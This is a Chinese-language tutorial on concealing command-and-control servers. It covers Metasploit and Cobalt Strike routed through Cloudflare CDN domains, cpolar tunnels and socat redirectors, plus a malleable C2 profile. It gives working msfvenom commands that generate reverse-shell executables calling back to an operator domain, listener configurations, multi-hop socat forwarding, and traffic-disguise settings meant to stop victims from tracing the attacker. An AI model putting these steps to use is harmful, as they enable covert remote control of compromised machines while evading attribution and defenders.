一、域名上线隐藏 IP
1.为什么要隐藏 IP
使用如 Metasploit Framework (MSF) 或 Cobalt Strike (CS) 等渗透测试工具时,如果直接使用攻击者的 VPS IP 作为服务器,很容易被目标追踪和识别。隐藏IP可以提高匿名性,降低被追踪的风险。
2.域名上线原理
域名解析是将人类可读的域名转换为机器可识别的 IP 地址的过程。通过域名访问服务器,实际上是访问目标服务器的 IP 地址。
域名解析记录包括:
- A 记录:将域名指向一个 IPv4 地址。(例如:100.100.100.100)
- CNAME 记录:将域名指向另一个域名,实现间接指向。
- MX 记录:指向邮件服务器地址,用于建立电子邮箱服务。
- NS 记录:指定子域名的域名解析服务器。
- TXT 记录:用于存储文本信息,常用于 SPF(反垃圾邮件)记录等验证。
- AAAA 记录:将域名指向一个 IPv6 地址。(例如:ff03:0:0:0:0:0:0:c1)
3.CDN简介
CDN(Content Delivery Network)内容分发网络,通过在全球范围内部署多个节点,缓存内容,以减 少数据传输延迟,提高访问速度。CDN 的关键特性包括:
- 分布式架构:在网络边缘部署缓存节点。
- 负载均衡:智能分配用户请求到最优节点。
- 内容缓存:静态内容在用户附近的节点缓存。
- 隐藏源站 IP:用户看到的是 CDN 节点的 IP,而非源站 IP。
- 提高安全性:CDN 节点可以提供额外的安全防护,如 DDoS 攻击防护。
使用 CDN 内容分发网络的多节点分布式技术,通过 "加速、代理、缓存" 隐藏在后面的静态文件或服务; 最终实现对外暴露的是 CDN 多节点的公网域名 IP,很难甚至无法溯源真实后端服务器的域名或 IP!

二、域名+CDN配置
注意
Cloudflare 的 CDN,http、https 代理模式有个特点,只能使用 Cloudflare 支持的 HTTP/HTTPS 端口,如果用其他端口的话,是监听不到的!
| Cloudflare 支持的 HTTP 端口 | Cloudflare支持的 HTTPS 端口 |
|---|---|
| 80 | 443 |
| 8080 | 2053 |
| 8880 | 2083 |
| 2052 | 2087 |
| 2082 | 2096 |
| 2086 | 8443 |
| 2095 |
三、Metasploit
1.HTTP
此时开启关闭(不安全)

1)MSF生成木马

2)MSF开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost shop.xxx.top
set reverselistenerbindaddress 192.168.0.141
set lport 2095
run
注意:reverselistenerbindaddress是内网地址
如果监听器出现报错可以使用这个命令,但是都可以实现监听

在目标机器上运行木马,即可上线
2.HTTPS
1)生成HTTPS证书
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key。

保存源证书内容为 cf.pem,保存私钥内容为 cf.key,将创建的 pem 和 key 文件上传至云服务器。

创建一个包含源证书内容和私钥内容的统一证书文件,使用 cat 命令:
cat cf.key cf.pem >> /root/cf-key.pem
2)设置CloudFlare
SSL/TLS > 概述 > 配置 SSL/TLS 加密模式为 完全(严格)

SSL/TLS > 边缘证书 > 最低 TLS 版本,默认为 TLS1,无需更改
3)设置监听器
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_https
set LHOST shop.xxx.top
set LPORT 443
set HandlerSSLCert /root/cf-key.pem
set StagerVerifySSLCert true
set SSLVersion TLS1
run
- 设置 HandlerSSLCert 为 /root/cf-key.pem,使用cf生成的证书
- 设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证
- 设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1
浏览器访问 https://shop.xxx.top ,看到 https 锁和 It works! ,表示证书配置成功
4)生成Payload
创建有效载荷,使用你的域名作为 LHOST,注意:这里使用的是不分阶段payload类型 meterpreter_reverse_https
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=shop.xxx.top LPORT=443 -f exe -o r443.exe
因www.gzxingyu.cloud无法解析,所以无法收到目标主机的连接
5)上线会话
四、Cobaltstrike
1.Beacon HTTP
1)配置Listener

HTTP Host Header,必须填写你的域名!
2)生成Payload
使用上一步配置的监听器,创建windows可执行 Payload,目标主机运行 payload,主机可以成功上线
3)流量分析
使用 Wireshack 抓包,过滤 http 请求

2.Beacon DNS
1)Cloudflare添加域名

2)创建DNS监听器

创建 Listener 时,可能会出现53端口占用问题
解决方法:LinuxEnvConfig.sh脚本,选择 基础配置,选择解除DNS协议53端口占用
3)生成Payload
生成 Payload 执行上线,Beacon 上线后没有信息显示
右键进入 Beacon 通过执行 checkin 命令让 DNS Beacon 强制回连 Teamserver
可以使用 mode 命令更改设置 Beacon 的数据交换模式
五、隧道转发代理
利用内网穿透,将 C2 回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连, 隐藏 C2 真实 IP
1.注册Cpolar账号
官网地址 https://dashboard.cpolar.com/
2.下载配置Cpolar
wget https://www.cpolar.com/static/downloads/releases/3.3.18/cpolar-stable-linux-amd64.zip
unzip cpolar-stable-linux-amd64.zip
./cpolar authtoken 你自己账号的token值
3.转发TCP端口
./cpolar tcp 10888
4.CS配置Listener
5.Payload生成
6.流量走向
Target(beacon)-(连接)->Cpolar服务器-(转发流量)->Teamserver<–CS Client
wireshark查看本地回接 C2 服务器的 IP 地址为 cpolar 服务的 IP 地址;而不是我们自己服务器的真 实 IP
优点:免费使用他人提供的隧道服务,可以快速的用来测试,0成本;
六、转发重定向
1.工作原理
受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机
具体实现:一台VPS作为转发机器,一台VPS作为 Teamserver
2.Socat转发
socat下载
apt install socat
socat TCP4-LISTEN:80,fork TCP4:C2ip:80
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用4次;建议使用2次)
-lf <logfile> 记录到文件
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2服务器ip:C2服务器监听Port
3.创建监听器

4.生成木马
通过此监听生成木马上线
5.多层转发
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:124.71.45.28:7788
由两台vps进行转发
七、CS流量隐藏
1.修改CS配置文件
1)CF创建证书
-
将创建的 pem 和 key 文件上传至云服务器
之前在https流量隐藏时已经将证书的cf.pem和cf.key上传至vps -
生成包含证书、密钥的store文件
使用keytool创建PKCS#12格式文件
openssl pkcs12 -export -in cf.pem -inkey cf.key -out www.gzxingyu.cloud.p12 -name www.gzxingyu.cloud -passout pass:123456
执行这个命令后,你会得到一个名为 www.gzxingyu.cloud.p12 的文件,它包含了 cf.pem 证书和 cf.key 私钥,并且可以用密码 123456 来保护。这个文件可以被用于在 Web 服务器或其他需要证书 和私钥的应用中导入。
PKCS#12 文件是一种将证书、私钥和其他可能的证书链(中间证书和根证书)打包在一起的容器格式,通常用于在不同的系统或应用程序之间安全地传输密钥和证书。
-
openssl pkcs12:这是 OpenSSL 命令行工具中用于处理 PKCS#12 文件的命令。
-
-export:这个选项告诉 OpenSSL 我们想要导出一个 PKCS#12 文件。
-
-in cf.pem:指定要包含在 PKCS#12 文件中的证书文件。这里的 cf.pem 是证书文件的名称。
-
-inkey cf.key:指定要包含在 PKCS#12 文件中的私钥文件。这里的 cf.key 是私钥文件的名称。
-
-out www.gzxingyu.cloud.p12 :指定输出的 PKCS#12 文件的名称。在这个例子中,输出文件被命名 为 www.gzxingyu.cloud.p12。
-
-name www.gzxingyu.cloud :为 PKCS#12 文件中的条目(证书和私钥)指定一个友好名称。这个名称在导入 PKCS#12 文件时用于识别条目,这里的名称是 www.gzxingyu.cloud。
-
-passout pass:123456:设置导出的 PKCS#12 文件的密码。这里使用的密码是 123456。 passout 选项允许你指定密码,而 pass: 后跟密码值。
将一个 PKCS#12 格式的密钥库(.p12 或 .pfx)文件导入到 Java 密钥库(.jks 或 .bks 文件)中
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.gzxingyu.cloud.store -srckeystore www.gzxingyu.cloud.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.gzxingyu.cloud
-
keytool:这是 Java 开发套件中的命令行工具,用于管理密钥库。
-
-importkeystore:这个选项告诉 keytool 我们想要导入一个密钥库。
-
-deststorepass 123456:设置目标密钥库(即导入后的密钥库)的存储密码。这里的密码是 123456。
-
-destkeypass 123456:设置目标密钥库中条目(密钥)的密码。这里的密码是 123456。
-
-destkeystore www.gzxingyu.cloud.store :指定目标密钥库的文件名,即导入后的密钥库文件。这 里的文件名是 www.gzxingyu.cloud.store。
-
-srckeystore www.gzxingyu.cloud.p12 :指定源密钥库的文件名,即我们要从中导入的 PKCS#12 文件。这里的文件名是 www.gzxingyu.cloud.p12。
-
-srcstoretype PKCS12:指定源密钥库的类型。在这个例子中,源密钥库是一个 PKCS#12 文 件。
-
-srcstorepass 123456:设置源密钥库的存储密码。这里的密码是 123456。
-
-alias www.gzxingyu.cloud :指定源密钥库中要导入的条目的别名。在这个例子中,别名是 www.gzxingyu.cloud。
查看store文件内容,执行如下命令,并输入密钥库密码:123456
keytool -v -list -keystore www.gzxingyu.cloud.store

- 将生成的 keystore 文件放在云服务器 CS 的根目录下
2)修改Profile
(1)下载 c2 Profile 文件
wget https://gitee.com/yijingsec/malleable-c2/raw/master/jquery-c2.4.9.profile -O c2.4.9.profile
(2)对 4.9 版本 Profile 进行修改。将 keystore 文件名称和密码填入 profile 文件中。
- https-certificate
修改模块中的 keystore 和 password,并去掉 # 注释
set keystore "shop.baidus.top.store"
set password "123456";
- http-stager
把 Server 配置如下内容:
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
修改 Client 配置中的 Host 和 Referer:
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
}
- http-get
修改 Client 配置中的 Host 和 Referer:
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
修改 Server 配置如下内容:
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
- http-post
修改 Client 配置中的 Host 和 Referer:
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
id {
mask;
base64url;
parameter "__cfduid";
}
output {
mask;
base64url;
print;
}
}
修改 Server 配置如下内容:
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
在修改完成后,使用 CS 自带的 c2lint 对 profile 语法进行检查,没有报错的话说明配置是对的。

2.修改CDN配置
在这个 Profile 中,我们请求的 URI 是以 .js 结尾的,Cloudflare 作为一个 CDN 肯定要去缓存它,但这样的话请求就无法到达我们的 CS 服务器(只会发出上一次的请求),自然也就无法上线了。因此需要配置 Cloudflare 不缓存 .js 文件请求
1)启用开发模式并清除缓存

2)添加页面规则
规则,页面规则,创建页面规则
URL:
www.xxx.com/*.js
选取设置:缓存级别,选择绕过

3.测试上线
1)使用修改好的 Profile 启动 CS
./teamserver 124.71.45.28 cs49 c2.4.9.profile
2) 配置 CS 的 Listener

3)生成木马,在 PC 运行,成功上线
需要等待一些时间
4.验证数据包
上线后 Wireshark 捕捉到的 get 数据包,104.21.112.1 为我们的 cdn 地址。host 与 referer 为我 们的域名
